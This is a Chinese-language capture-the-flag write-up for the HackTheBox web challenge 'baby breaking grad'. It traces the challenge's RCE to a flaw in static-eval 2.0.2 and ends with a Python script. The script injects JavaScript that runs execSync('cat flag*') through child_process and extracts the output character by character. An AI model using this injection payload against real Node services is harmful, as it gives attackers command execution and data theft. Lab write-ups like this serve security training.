概述
HackTheBox 网站CTF靶场Web相关题目baby breaking grad,题目地址https://app.hackthebox.com/challenges/baby-breaking-grad,主要考察AST注入的知识点。
题目
题目概述
开启程序实例后,提示访问209.97.187.217:32476
,访问http://209.97.187.217:32476,看到如下Web界面
直接选择一个提交得到
下载附件解压缩得到
源代码
在routes目录下的index.js中,包括对不同url的处理方法
其中涉及到StudentHelper.js,对应的源代码
StudentHelper.js用到了static-eval和esprima,在package.json中查看他们的版本
解题思路
可以看到static-eval为2.0.2,存在RCE漏洞,具体可参考https://github.com/advisories/GHSA-8v27-2fg9-7h62
解题代码
import string
import requests
url = 'http://209.97.187.217:32476/api/calculate'
flag = ''
for i, _ in enumerate(iter(bool, True)):
for chr in string.printable:
payload = "(function (x) { return `${eval(\"if(global.process.mainModule.constructor._load('child_process').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")}` })()"
data = {"name": "AAA", "formula": payload}
r = requests.post(url, json=data)
if('Passed' in r.content):
flag += chr
print(flag)
if(chr == '}'):
quit()
break
运行代码,得到flag